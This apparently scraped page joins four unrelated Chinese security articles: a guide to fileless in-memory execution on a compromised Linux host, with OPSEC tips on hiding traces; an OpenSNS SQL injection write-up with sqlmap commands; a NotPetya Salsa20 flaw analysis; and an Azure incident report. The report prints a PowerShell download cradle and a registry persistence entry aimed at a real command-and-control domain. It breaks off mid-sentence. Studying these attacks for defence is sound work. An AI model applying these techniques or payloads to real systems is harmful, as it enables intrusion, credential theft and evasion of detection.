[[7]](http://z0mbie.daemonlab.org/infelf.html), Pluf & Ripe
[[8]](http://phrack.org/issues/63/11.html)、Aseem Jakhar
[[9]](http://www.securitybyte.org/resources/2011/presentations/runtime-thread-injection-and-execution-in-linux-processes.pdf)、mak
[[10]](https://github.com/mak/pyself)以及Rory McNamara
[[11]](https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html)。
## 二、攻击场景
想象一下，我们正坐在一个闪烁的光标前，在刚入侵的Linux服务器上使用shell，此时我们想在不留下任何痕迹的情况下继续探索。我们需要运行其他工具，但不希望在主机上上传任何数据。或者，由于系统在已挂载分区上设置了`noexec`选项，因此无法运行任何程序。此时我们还能怎么办？
本文介绍了如何绕过运行限制，利用目标系统上仅有的工具在目标主机上运行代码。在 _everything-is-a-file_
（“一切都是文件”）的系统上，想做到这一点有点难度，但如果我们跳出思维限制，尽可能使用系统提供的功能，还是能找到可行性。
Sektor7实验室做了一些实验，研究新的、经过改进的攻击方法，希望能在本文中与大家共享。
## 三、Payload（Shellcode）投递
对攻击者而言，找到可靠又隐蔽的方法将payload或者工具投递到目标主机总是非常有挑战的一个任务。
最常见的方法是连接到C2服务器或者第三方服务器，这些服务器上托管着攻击所需工具，可以下载到目标系统中。这些操作可能会在网络基础架构上留下一些痕迹（如网络数据流、代理日志等）。
在许多情况下，攻击者会忽视目标主机上已经开放的一个控制通道：shell会话。攻击者可以将这个会话作为数据链路，将payload上传至受害系统中，无需与外部系统建立新的TCP连接。这种方法存在一些缺点，如果出现网络故障，那么数据传输和控制信道可能会发生中断。
在本文中，我们介绍了两种投递方法：out-of-band（带外）以及in-band（带内），并且主要使用后一种方法来传输代码（特别是shellcode）。
## 四、演示环境
我们的实验环境如下：
* 受害主机：运行最新版的Kali Linux虚拟机
* 攻击主机：运行Arch Linux系统，作为VM的宿主系统
* SSH连接：攻击主机到受害主机的SSH连接，模拟shell访问
* 简单的`Hello World` shellcode，x86_64架构（参考附录A）
## 五、内存运行方法
### tmpfs
攻击者用来存放文件的第一个位置是`tmpfs`。`tmpfs`会将所有数据存入内核内部缓存中，并且动态扩张和缩小以适配其中包含的文件。另外，从`glibc
2.2`开始，`tmpfs`会挂载到`/dev/shm`目录，用于POSIX共享内存（`shm_open()`、`shm_unlink()`）。
比如，Kali系统中已挂载的`tmpfs`虚拟文件系统目录如下所示：
默认情况下，已挂载的`/dev/shm`并没有设置`noexec`标志。如果某个处女座管理员设置了该标志，那么就能有效防住这种方法：攻击者虽然能存放数据，但无法执行（`execve()`执行失败）。
后面我们还会提到`/dev/shm`。
### GDB
**GNU Debugger**
是Linux上的模拟调试工具，虽然生产服务器上通常没有安装该工具，但我们偶尔可以在开发环境或者某些嵌入式/专用系统上找到该工具。`gdb(1)`
manual的说明如下：
> GDB主要能够提供如下功能，帮助我们捕捉程序运行中的bug：
>
> * 启动程序，指定可能影响程序行为的任何因素；
> * 在特定条件下停止程序运行；
> * 检查程序运行时发生了什么事情；
> * 修改应用中数据，这样就能尝试修正某个bug的影响，继续研究后续bug。
>
借助GDB的最后一个功能，我们可以在不落盘的情况下，在内存中运行shellcode。
首先我们需要将shellcode转换成byte字符串：
然后，在`gdb`上下文中运行`/bin/bash`，在`main()`处设置断点，注入shellcode然后继续运行，如下所示：
### Python
**Python** 是一门非常流行的解释性语言，与GDB不同，我们经常可以在默认的Linux环境中使用Python。
我们可以使用许多模块（比如`ctypes`）来扩展Python的功能，`ctypes`库提供了C兼容的数据类型，允许我们调用DLL或者共享库中的函数。换句话说，`ctypes`可以构建类似C的脚本、利用外部库的强大功能并且直接访问内核的`syscall`。
为了使用Python在内存中运行shellcode，我们的脚本需要执行如下操作：
* 将`libc`库载入Python进程中
* `mmap()`用于shellcode的一片新的`W+X`内存区域
* 将shellcode拷贝至新分配的缓冲区中
* 使该缓冲区可以被调用（强制转换）
* 调用缓冲区
完整的脚本如下所示（Python 2）：
整个脚本可以转换为经过Base64编码的字符串：
使用一条命令投递到目标主机上：
### 自修改dd
在极少数情况下，当上述方法都不能使用时，我们还可以使用许多Linux系统上默认安装一个工具。这款工具为`dd`（包含在`coreutils`软件包中），通常用来转换和拷贝文件。如果我们将该工具与`procfs`文件系统和`/proc/self/mem`文件（该进程的内存）结合起来，就找到了可能用来在内存中运行shellcode的一个小媒介。为了完成这个任务，我们需要强制`dd`动态修改自身数据。
`dd`运行时的默认行为如下所示：
而自修改的`dd`运行时如下所示：
我们首先需要的是找到`dd`进程中可以复制shellcode的地方。整个过程必须能在运行中稳定且可靠，因为我们操作的是会覆盖自己内存的、正在运行的一个进程。
在成功复制/覆盖操作后调用的代码是一个不错的对象，后面跟着的就是进程退出操作。我们可以在PLT（Procedure Linkage
Table，过程链接表）、`exit()`调用主代码片段中或者`exit()`之前完成shellcode注入。
覆盖PLT并不是一个稳定的操作，因为如果我们的shellcode过长，就会覆盖在调用`exit()`前会使用的某些关键部位。
进一步调查后，我们发现程序在调用`exit()`前会调用`fclose(3)`函数：
只有两个地方调用了`fclose()`：
进一步测试后，我们发现`0x9c2b`处的代码（`jmp 1cb0`）是运行时所使用的代码，并且后面跟着一大段代码，这些代码被覆盖后可能不会导致进程崩溃。
为了应用这个技术，我们还需要解决两个障碍：
1、在复制操作后，`dd`会关闭`stdin`、`stdout`以及`stderr`文件描述符：
2、地址空间布局随机化问题。
我们可以在bash中复制`stdin`以及`stdou`文件描述符来解决第一个问题（参考`bash(1)`）：
> 复制文件描述符
>
> 重定向运算符`[n]<&word`可以用来复制输入文件描述符。如果`word`扩展到1或者更多数字，那么文件描述符`n`就会变成该文件描述符的副本。
我们可以在shellcode前添加`dup()` syscall：
第二个问题比较麻烦。现在在大多数Linux发行版中，二进制程序会被编译成PIE（Position Independent
Executable，位置无关可执行文件）对象：
并且默认情况下ASLR处于启用状态：
幸运的是，Linux支持每个进程使用不同的执行域（execution
domains，即personality，个性化机制）。执行域可以指导Linux如何将signal编号映射为signal动作。执行域系统可以让Linux为在类UNIX系统中编译的程序提供部分支持。从Linux
2.6.12开始，我们就可以使用`ADDR_NO_RANDOMIZE`标志，这个标志可以在正在运行的进程中禁用ASLR。
为了在userland（用户级）运行时关闭ASLR，我们可以使用`setarch`工具设置不同的personality标志：
现在一切准备就绪，可以运行自修改的`dd`了：
### 系统调用
除了`tmpfs`之外，以上方法都有一个巨大的缺点：虽然这些方法能够执行shellcode，但无法执行可执行对象（即ELF文件）。如果我们还需要更为复杂的功能，就会发现纯汇编shellcode用处有限并且不可扩展。
这里内核开发者又来救火了：Linux从3.17版开始引入了一个新的系统调用：`memfd_create()`。这个调用可以创建一个匿名文件，返回对应的文件描述符。这个文件行为上类似正常文件，但存在于RAM中，并且所有引用计数归零后就会自动释放该文件。
换句话说，Linux内核提供了一种方法，可以创建内存中的文件，并且该文件看上去与正常文件类似，可以执行`mmap()`或者`execve()`操作。
我们可以通过如下步骤在虚拟内存中创建基于`memfd`的文件，最终将我们的工具上传至受害主机中，无需落盘：
* 创建shellcode，该shellcode会在内存中创建一个`memfd`文件
* 将shellcode注入`dd`进程中（参考前文“自修改dd”内容）
* 挂起`dd`进程（由shellcode完成）
* 准备待上传的工具（这里我们以静态链接的`uname`为例）
* 利用in-band数据链接（通过shell会话）将经过base64编码的工具传输到受害主机上，直接载入`memfd`文件中
* 运行工具
首先要做的就是创建一个新的shellcode（参考附录B）。新的shellcode重新打开已关闭的`stdin`和`stdout`文件描述符，调用`memfd_create()`创建内存文件（这里为`AAAA`），然后调用`pause()`
syscall挂起目标进程（`dd`）。这里需要执行挂起操作，因为我们要避免`dd`进程退出，并且使其他进程能够访问其`memfd`文件（通过`procfs`）。shellcode中的`exit()`
syscall应该永远没有调用机会。
然后我们修改`dd`，挂起并检查`memfd`文件是否存在于内存中：
接下来要准备待上传的工具。需要注意的是攻击者使用的工具必须静态链接或者使用与目标主机上相同的静态库。
接下来只需要将经过Base64编码的工具`echo`到`memfd`文件中，运行即可：
需要注意的是我们可以重复使用`memfd`文件。如果有必要的话，我们可以使用同一个文件描述符“存储”下一个工具：
**那么如果受害主机上运行的内核版本比3.17要早呢？**
有个名为`shm_open(3)`的C库函数，这个函数可以在内存中创建新的POSIX共享对象，而POSIX共享对象实际上是一个句柄，不相关进程可以使用该句柄来`mmap()`同一个共享内存区域。
来看一下`Glibc`源代码。`shm_open()`会在某些`shm_name`上调用`open()`（源文件：[glibc/sysdeps/posix/shm_open.c](https://code.woboq.org/userspace/glibc/sysdeps/posix/shm_open.c.html)）：
而`shm_name`使用`shm_dir`动态分配：
`shm_dir`由`_PATH_DEV`与`shm/`拼接而成（源文件：[glibc/sysdeps/posix/shm_open.c](https://code.woboq.org/userspace/glibc/sysdeps/posix/shm_open.c.html)）：
而`_PATH_DEV`的定义为`/dev/`。
因此，`shm_open()`实际上是在`tmpfs`文件系统上创建/打开了一个文件，而前面我们已讨论过这方面内容。
## 六、OPSEC注意事项
在目标主机上执行任何攻击活动都需要考虑潜在的副作用。虽然我们已经尽量避免代码落盘，但我们的行为仍然可能留下一些“蛛丝马迹”，包括：
1、日志（如shell历史数据）。在这种情况下攻击者需要确保日志已被删除或者覆盖（某些情况下，由于权限不够我们无法做到这一点）。
2、进程列表。如果另一个用户在受害者机上查看正在运行的进程，可能会看到一些奇怪的进程名（如`/proc/< num
>/fd/3`）。我们可以修改目标进程的`argv[0]`字符串来规避这一点。
3、Swappiness。即使我们的载荷存在于虚拟内存中，大多数情况下它们可能会被交换到磁盘上（对交换空间的分析是另一个话题）。我们可以采用如下策略规避这一点：
* `mlock()`、`mlockall()`及`mmap()`：需要`root`或者`CAP_IPC_LOCK`。
* `sysctl vm.swappiness`或者`/proc/sys/vm/swappiness`：需要`root`权限。
* `cgroup`（`memory.swappiness`）：需要`root`或者修改`cgroup`的相应权限。
最后一种方法并不能保证在负载较重的情况下内存管理器不会将进程交换到硬盘上（比如root cgroup允许交换且需要内存时）。
## 七、参考资料
In-Memory PE EXE Execution by Z0MBiE/29A
<https://github.com/fdiskyou/Zines/blob/master/29a/29a-6.zip>
Remote Library Injection by skape & jt
<http://www.hick.org/code/skape/papers/remote-library-injection.pdf>
Reflective DLL Injection by Stephen Fewer
<https://www.dc414.org/wp-content/uploads/2011/01/242.pdf>
Loading a DLL from memory by Joachim Bauch
<https://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/>
Reflective DLL Injection with PowerShell by clymb3r
<https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/>
The Design and Implementation of Userland Exec by the grugq
<https://grugq.github.io/docs/ul_exec.txt>
Injected Evil by Z0MBiE/29A
<http://z0mbie.daemonlab.org/infelf.html>
Advanced Antiforensics : SELF by Pluf & Ripe
<http://phrack.org/issues/63/11.html>
Run-time Thread Injection The Jugaad way by Aseem Jakhar
<http://www.securitybyte.org/resources/2011/presentations/runtime-thread-injection-and-execution-in-linux-processes.pdf>
Implementation of SELF in python by mak
<https://github.com/mak/pyself>
Linux based inter-process code injection without ptrace(2) by Rory McNamara
<https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html>
## 八、附录
### 附录A
实验中使用的`Hello world` shellcode：
### 附录B | 社区文章 |
### **0x01 前言**
> [OpenSNS](http://www.opensns.cn/
> "OpenSNS")是基于OneThink的轻量级社交化用户中心框架，系统秉持简约的设计风格，注重交流，为用户提供了一套轻量级的社交方案。[OpenSNS](http://www.opensns.cn/
> "OpenSNS")前身是“ThinkOX”，2015年1月28号正式更名为[OpenSNS](http://www.opensns.cn/
> "OpenSNS")。
> [OpenSNS](http://www.opensns.cn/
> "OpenSNS")采用PHP+MYSQL构建的一款有“身份”的开源免费SNS社交系统，适用于多种社会关系。
> [OpenSNS](http://www.opensns.cn/
> "OpenSNS")采用thinkphp框架编写。系统的设计遵循高内聚低耦合，允许管理员自由开启关闭功能模块。不仅如此，[OpenSNS](http://www.opensns.cn/
> "OpenSNS")还内置了一个功能扩展商店，可以一键在线安装新的功能扩展。
> [OpenSNS](http://www.opensns.cn/
> "OpenSNS")目前有大量的国内开发者，云市场也上架了大量的第三方功能模块和主题应用，使[OpenSNS](http://www.opensns.cn/
> "OpenSNS")可以同时满足各行各业的社交需求。
### **0x02 代码分析**
跟踪到 **./Application/Ucenter/Controller/ConfigController.class.php** 中的
**_initialize** 方法
> 15 Line: 三元运算符判断是否设置了$_GET[‘uid’]，若设置了则将其过滤一遍赋给$uid，若没有设置则获取session中得uid
> 17 Line: 调用当前类中得userInfo方法并将$uid传入
跟踪到 **./Application/Ucenter/Controller/ConfigController.class.php** 中的
**userInfo** 方法
> 1117 Line: 调用query_user并将数组及外部传入的$uid传入进去
跟踪到 **./Application/Common/Common/query_user.php** 中的 **query_user** 函数
> 17 Line: 判断$uid是否等于null，若等于则传入当前已经登陆用户的id否则使用传入的id并赋给$uid
> 18 Line: 调用模型Common/User中的query_user方法并将$fields、$uid传入
跟踪到 **./Application/Common/Model/UserModel.class.php** 中的 **query_user** 方法
> 118 Line: 将$user_data, $fields,
> $uid传入到当前类中的getNeedQueryData方法并将返回的数组分别赋值给$user_data, $fields
跟踪到 **./Application/Common/Model/UserModel.class.php** 中的 **getNeedQueryData**
方法
> 67 Line: 使用array_intersect函数返回$this->table_fields,
> $fields两个数组的交集并赋给$need_query中
> 69 Line: 判断$need_query不为空
> 70 Line: 获取数据表前缀并赋给$db_prefix
> 71 Line: 将外部传入外部传入的参数拼接到SQL语句中，在传入过程中并未有任何过滤
### **0x03 调试**
**漏洞出现在getNeedQueryData方法中的71行，调试开始咯！**
### **0x04 漏洞复现**
##### 1、账号注册
##### 2、登陆
##### 3、祭出神器SQLMAP
> sqlmap.py -u
> "[http://localhost/index.php?s=/ucenter/Config/&uid=1*](http://localhost/index.php?s=/ucenter/Config/&uid=1*)"
> --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7;
> UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7;
> CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T
> --dbms "mysql"
> sqlmap.py -u
> "[http://localhost/index.php?s=/ucenter/Config/&uid=1*](http://localhost/index.php?s=/ucenter/Config/&uid=1*)"
> --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7;
> UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7;
> CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T
> --dbms "mysql" --is-dba
> sqlmap.py -u
> "[http://localhost/index.php?s=/ucenter/Config/&uid=1*](http://localhost/index.php?s=/ucenter/Config/&uid=1*)"
> --cookie " PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7;
> UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7;
> CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T
> --dbms "mysql" --current-db
### **0x05 漏洞修复**
### **0x06 同类注入点**
>
> [http://localhost/index.php?s=/ucenter/index/index&uid=10](http://localhost/index.php?s=/ucenter/index/index&uid=10
> "http://localhost/index.php?s=/ucenter/index/index&uid=10")
>
> [http://localhost/index.php?s=/ucenter/index/information&uid=10](http://localhost/index.php?s=/ucenter/index/index&uid=10
> "http://localhost/index.php?s=/ucenter/index/information&uid=10") | 社区文章 |
# 【病毒分析】NotPetya 勒索病毒Salsa20算法实现的缺陷分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：Shi Lei && pwd && K-one@360CERT**
**0x00 背景**
2017年6月份，NotPetya勒索病毒试图通过The Shadow
Brokers泄露出的“永恒之蓝”等漏洞再次攻击全球网络系统。目前，关于NotPetya的算法解密工作目前并没有明确的解密进展。
360CERT团队在对NotPetya病毒所自定义实现的Salsa20算法分析过程中，发现存在两处变化。其中一处明显降低了标准Salsa20算法的加密强度，在一定条件下可以对加密数据进行解密。
**0x01 Salsa20的简单介绍**
Salsa20的原理是产生一种伪随机的字节流。 这种字节流在很长（约2的70次方）范围内和真正的随机字节流无法区分。
这样做到了和一次一密密码本（OTP，One Time Pad）加密等价的效果。
伪随机数流的产生其实就是将64字节（512比特）的输入送入核心函数，然后得到512比特的输出的过程。 每次输入的字节包含密钥、初始向量和计数器。
这样，要产生长度是N字节的伪随机数流，只需要调用核心函数若干次，直到获取了足够长度（不少于N）的输出即可。
64字节的输入如下：
本文所讨论的差异就是上面64字节产生的不同，核心函数都是相同的。
**0x02 差异一：常量不同**
原算法的常量：
样本的常量：
【 **结论** 】对算法的强度没有影响
**0x03 差异二：小端化函数不同**
原算法s20_littleendian函数：
样本s20_littleendian函数：
【 **差异** 】样本中原本是想模拟原算法的操作，但因为要在MBR中运行，采用了WORD为单位的运算，shl ax
10h时就会把ax清零。这样导致的后果就是64字节的输入的高位WORD会被填充为0，相当于将原函数改为：
【 **效果** 】原先的64字节输入：
0xdeadbeef 0xdeadbeef……0xdeadbeef(一共16个0xdeadbeef）
经过s20_littleendian函数后：
0x0000beef 0x0000beef ……0x0000beef(一共16个0x0000beef)
【 **影响** 】进入核心函数后：
虽然输入的随机序列有一半为零，但是经过1轮异或移位的操作，随机序列已经不含零了。并且该算法要进行10轮这样的操作，所以得到的序列随机化程度还是很高。
进入核心函数前：
经过一轮异或移位操作后：
【 **结论** 】
64字节的输入经过小端化函数后会导致高位2个字节清零。这样的话，爆破该输入的规模就从2的256次方降为了2的128次方，约为10的38次方，所以直接爆破出密钥的可能性几乎没有。
****
**0x04“修改版”Salsa20算法的缺陷攻击**
NotPetya勒索病毒的修改版Salsa20算法造成的差异会导致每隔64K块出现重复的核心函数输入项，这将极大影响这种加密算法的安全性。对此，算法攻击者只要已知连续4MB明文，就能解密全部密文。另外若已知若干离散明文块，则可解密部分密文，也可能解密全部密文（已知部分分布合适的情况）。
相关证明如下：
**0x05 与Petya中修改Salsa进行对比**
Petya中修改的Salsa分析链接：
<http://www.freebuf.com/vuls/101714.html>
**（1）秘钥空间不同**
Petya中为了方便用户输入，字符必须从数字和大小写字母中选取，定义了54种有效字符：
来作为8位的原始秘钥，同时用低位为b与字符“z”对应ASCII（122）之和，高位为b*2来扩展成16字节的秘钥。其实只有8个秘钥需要破解，所以秘钥空间为：54^8。
NotPetya中，一共是32个字节，但是由于清零了一半，所以一共是16个字节需要破解，秘钥空间为2^128。
**（2）输出数据不同**
Petya中采用了2字节的WORD作为数据基本长度，在输出结果中字段从2字节扩展为4个字节，其高位WORD会被填充为0，在接下来的异或操作中，就会暴露出明文的特征。
NotPetya中在核心函数中保持着4个字节的基本长度，所以输出结果的高位不会被填充为零。可以正常加密。
综上两点区别，Petya可以被暴力破解，而NotPetya很难被暴力破解，Petya的具体破解代码：
<https://github.com/leo-stone/hack-petya>
这里的破解算法引用了第三方库，
[https://github.com/handcraftsman/GeneticGo](http://github.com/handcraftsman/GeneticGo)
<https://github.com/willf/bitset>
**0x06 其他破解的可能性**
**（1）截断差分攻击**
这种攻击是针对较少轮次的Salsa20，参考资料认为能攻击到8轮的Salsa20，样本进行了20轮，所以这种攻击实现的可能性小。
**（2）滑动攻击**
这使得破解Salsa20在理论上存在可能，参考文献里也给了具体的算法来计算。
**0x07 参考文档**
[1]
[www.freebuf.com/vuls/101714.html](http://www.freebuf.com/vuls/101714.html)
[2]穆昭薇. 流密码算法Salsa20的安全性研究[D].西安电子科技大学,2011. | 社区文章 |
# 【技术分享】Azure Security Center针对PowerShell攻击的深入分析
|
##### 译文声明
本文是翻译文章，文章来源：azure.microsoft.com
原文地址：<https://azure.microsoft.com/en-us/blog/how-azure-security-center-unveils-suspicious-powershell-attack/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
为了纪念[国家网络安全意识月（NCSAM）](https://www.dhs.gov/national-cyber-security-awareness-month)，我们发布了一篇新的系列文章，来重点介绍 **Azure Security Center**
是如何检测、追查和缓解现实世界所面临的各种网络攻击的。在这篇文章中，我们将向读者分析攻击者是如何使用PowerShell来运行恶意代码并收集用户凭据的。在详细介绍这一攻击手法之前，不妨先对本系列中其他文章进行一个回顾，其中Security
Center能够检测到：
[**SQL暴力攻击**](https://azure.microsoft.com/en-us/blog/how-azure-security-center-helps-reveal-a-cyberattack/)
[**比特币采矿攻击**](https://azure.microsoft.com/en-us/blog/how-azure-security-center-detects-a-bitcoin-mining-attack/)
[**基于网络威胁情报的DDoS攻击**](https://azure.microsoft.com/en-us/blog/how-azure-security-center-detects-ddos-attack-using-cyber-threat-intelligence/)
[**恶意使用正常的应用程序**](https://azure.microsoft.com/en-us/blog/how-azure-security-center-aids-in-detecting-good-applications-being-used-maliciously/)
在这篇文章中，我们将介绍Azure Security
Center检测到的另一个有趣的真实世界的攻击场景，并且这次调查是由我们的团队负责的。需要注意的是，为了保护隐私，受影响公司的名称、所有计算机名称和所有用户名都已进行了更换。这种特殊攻击使用PowerShell来运行内存中的恶意代码，目的是通过密码窃取、按键记录、剪贴板抓取和屏幕捕获来收集凭据信息。该攻击首先会进行
**RDP Force**
攻击，最终将在注册表中实现设置和配置持久自动启动（ASEP）的目的。这个案例研究不仅介绍了该攻击的原理，并提供了如何在您的环境中检测和防止类似攻击的建议。
**
**
**Azure安全中心的原始警报和详细信息**
由于世界上存在许多远程管理的联网计算机，所以黑客们一直都在努力搜寻各种正在运行的远程管理服务，如远程桌面协议（RDP），以便通过暴力攻击破解密码。我们的案例是从一个大客户的Azure
Security Center控制台开始的，该控制台提示存在RDP暴力攻击活动以及可疑的PowerShell活动。
在下面的Azure Security Center屏幕截图中，您可以按照从下到上的时间顺序进行查看，我们可以发现“Failed RDP Brute
Force Attack”警报后面是一个“Failed RDP Brute Force
Attack”警报——这表示有人通过RDP登录猜到了用户密码，在这种恶意的暴力登录警报后面，是几个异常PowerShell活动的警报。
当我们检查最初的Successful RDP Brute Force
Attack警报时，可以看到攻击的时间、受到攻击的帐户、攻击源的IP地址（这里是意大利），以及Microsoft’s Threat Intel的“RDP
Brute Forcing”报告的链接。
成功登录后，后面给出了一些高级严重性警报，并且Azure安全中心会按时间顺序显示攻击者登录成功后执行的每个命令行：
**
**
**原始的攻击和攻击者活动的细节**
根据上述警报提供的信息，我们的调查团队与客户一起审查了从攻击者最初登录时获取的帐户登录日志（事件ID 4624）和进程创建日志（事件ID 4688）。
根据原始的登录数据，我们看到攻击者使用了各种用户名和密码组合来进行持续的RDP暴力尝试。大多数失败的尝试最终会引发事件ID
4625（帐户登录失败）、状态码0xc000006d（尝试登录无效）和一个子代码0xc0000064（指定的帐号不存在）。
在09月06日上午10:13左右，我们看到Substatus码开始发生变化。从这里可以看出，使用用户名“ContosoAdmin”导致了不同的状态码：0xc000006a（密码错误）。
之后是使用“ContosoAdmin”帐户登录成功，类型分别为3和10（远程交互）。从IP地址（188.125.100.233）来看，这次是从意大利进行登录的。
下面，我们来检查一下登录后的进程创建活动。攻击者首先执行了“whoami”命令，来查看当前的登录用户。然后使用net group “Domain
Admins” /domain命令查看了“Domain Admins”组的成员。之后，又执行了“qwinsta”命令，来显示所有Remote Desktop
Services会话。然后启动Taskmgr（Windows任务管理器）以查看或管理相应的进程和服务。
稍后，攻击者执行了另一个PowerShell命令。该命令用Base64编码的字符串进行了混淆处理，另外，还利用Deflate压缩算法进行了压缩处理。注意：在后文中，我们会对这些Base64编码的字符串进行解码，届时我们将进一步挖掘该命令的用法。
约3分钟后，攻击者从这台机器上面注销了。但是在注销之前，他们会通过清除所有事件日志来掩盖自己的踪迹。这是通过内置的wevtutil.exe（Windows事件命令行实用程序）来完成的。首先，使用"el"或"enum-logs"开关枚举所有事件日志。然后用“cl”或“清除日志”开关清除所有事件日志。以下是攻击者执行的部分事件清除命令。
**
**
**深入考察Base64编码的PowerShell命令**
我们对攻击者的原始命令的Base64编码的部分进行解码后，竟然出现了更多的Base64编码命令，这表明：
**嵌套的Base64混淆处理。**
**所有级别的命令执行都进行了混淆处理。**
**创建一个仅使用注册表的ASEP（自动启动扩展点）作为持久性机制。**
**恶意代码参数存储在注册表中。**
**由于ASEP和参数仅出现系统注册表中，所以这些命令可以在不借助文件或NTFS组件的情况下以“in-memory”的方式执行。**
这是攻击者执行的原始命令：
解码Base64后可以看到，许多注册表项和更多的Base64字符串有待解码……
解码这些嵌套的Base64值后，我们发现该命令执行了以下操作：
1\.
该命令首先把后面的命令用到的参数存储在HKLMSoftwareMicrosoftWindowsCurrentVersion下的名为“SeCert”的注册表单元中。
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion]
"SeCert"="dwBoAGkAbABlACgAMQApAHsAdAByAHkAewBJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALg
BEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBkAG0AcwBlAHIAdgBlAHIAcwAuAGMAbwBtAC8AJwArACgAWwBjAGgAYQBy
AF0AKAA4ADUALQAoAC0AMwA3ACkAKQApACkAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADAAfQB9AA=="
2\. 上述注册表项中的Base64值解码之后，实际上就是一条从恶意C2（C&C）域（mdmservers[.]com）进行下载的命令。
while(1){try{IEX(New-Object Net.WebClient).DownloadString('hxxp[:]//mdmservers[.]com/'+([char](85-(-37))))}catch{Start-Sleep -s 10}}
3\.
然后，攻击者的命令通过“HKLMSoftwareMicrosoftWindowsCurrentVersionRun”中名为“SophosMSHTA”的注册表ASEP（自动启动扩展点）实现持久性机制。
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"SophosMSHTA"="mshta vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -c ""$x=$((gp HKLM:Software\Microsoft\Windows\CurrentVersion SeCert).SeCert);powershell -E $x""",0,True)(window.close)"
4\. 该注册表的持久性能够确保机器每次启动或重启时都会启动该恶意命令。
5\. 注册表ASEP会启动Microsoft脚本引擎（mshta.exe）。
6\.
Mshta.exe将运行PowerShell.exe，然后，它将读取并解码HKLMSOFTWAREMicrosoftWindowsCurrentVersion->“SeCert”的值。
7\. SeCert的注册表值会通知PowerShell从hxxp[:]//mdmservers[.]com下载并启动恶意脚本。
**
**
**恶意代码的下载和执行**
一旦攻击者设置了持久性机制并注销，当主机下一次重新启动时，将启动PowerShell，从hxxp[:]//mdmservers[.]com下载并启动恶意payload。这个恶意脚本包含了执行特定功能的各个组成部分。下表详细说明了这个恶意payload的主要功能。
**操作**
从剪贴板中抓取内容并将输出保存到以下位置：
%temp%Applnsights_VisualStudio.txt
将所有按键记录到以下位置：
%temp%key.log
捕获初始屏幕并以.jpg格式保存到以下位置：
%temp%39F28DD9-0677-4EAC-91B8-2112B1515341yyyymmdd_hhmmss.jpg
当受害者输入某些金融或帐户凭据方面的关键词时，进行屏幕截图，并以.jpg格式保存到以下位置：
%temp%39F28DD9-0677-4EAC-91B8-2112B1515341yyyymmdd_hhmmss.jpg
检查是否安装了Google Chrome浏览器。 如果已经安装的话，就从Chrome缓存中收集所有密码并保存到以下位置：
%temp%Chrome.log
检查是否安装了Mozilla Firefox浏览器。如果已经安装的话，就从Firefox缓存中收集所有密码并保存到以下位置：
%temp%Firefox.log
**总结**
下面，我们来总结一下到目前为止的调查结果：
1\. 首先，攻击者会通过RDP暴力攻击管理员帐户，如果爆破成功，入侵的第一步就成功了。
2\. 然后，攻击者将执行一个通过Base64混淆处理过的PowerShell命令，该命令的作用是设置开机时启动的注册表ASEP。
3\. 接着，攻击者通过使用以下命令删除所有事件日志来清除其活动的证据：wevtutil.exe -cl <eventlogname>。
4\.
当受影响的主机启动或重新启动时，它将启动位于HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun中的恶意注册表ASEP
5\. 注册表ASEP会启动Microsoft脚本引擎（mshta.exe）。
6\.
Mshta.exe会运行PowerShell.exe，然后它将读取并解码HKLMSOFTWAREMicrosoftWindowsCurrentVersion
-> ”SeCert”的值
7\. “SeCert”的值会命令PowerShell从hxxp[:]//mdmservers[.]com下载并启动恶意脚本
然后,来自hxxp[:]//mdmservers[.]com的恶意代码将会执行以下操作：
1\. 将从剪贴板中抓取得内容保存到：％temp％Applnsights_VisualStudio.txt
2\. 将所有按键记录到：％temp％ key.log
3\.
抓取初始屏幕并以.jpg格式保存到：％temp％39F28DD9-0677-4EAC-91B8-2112B1515341yyyymmdd_hhmmss.jpg
4\.
当受害者输入某些财务或帐户凭据相关的关键字时，进行屏幕截图，并以.jpg格式保存到以下位置：％temp％39F28DD9-0677-4EAC-91B8-2112B1515341yyyymmdd_hhmmss.jpg
5\. 检查是否安装了Google Chrome浏览器。如果已经安装了的话，从Chrome缓存中收集所有密码，并保存到：％temp％Chrome.log
6\. 检查是否安装了Mozilla
Firefox浏览器。如果已经安装了的话，从Firefox缓存中收集所有密码，并保存到：％temp％Firefox.log
该攻击的结果是信息窃取软件将从注册表自动启动，并在内存中运行，从而收集击键、浏览器密码、剪贴板数据和屏幕截图。
**Azure Security Center如何捕获这一切的**
很明显，攻击者试图通过各种非凡的手段来掩饰自己的活动；确保使用内置的Windows可执行文件（PowerShell.exe、Mshta.exe、Wevtutil.exe）执行所有进程，使用经过混淆处理并存储在注册表中的命令参数，以及删除所有事件日志以清除其踪迹。然而，这些努力并没有能够阻止Azure
Security Center检测、收集和报告该恶意活动。
正如我们在本文开头部分所看到的，Azure Security
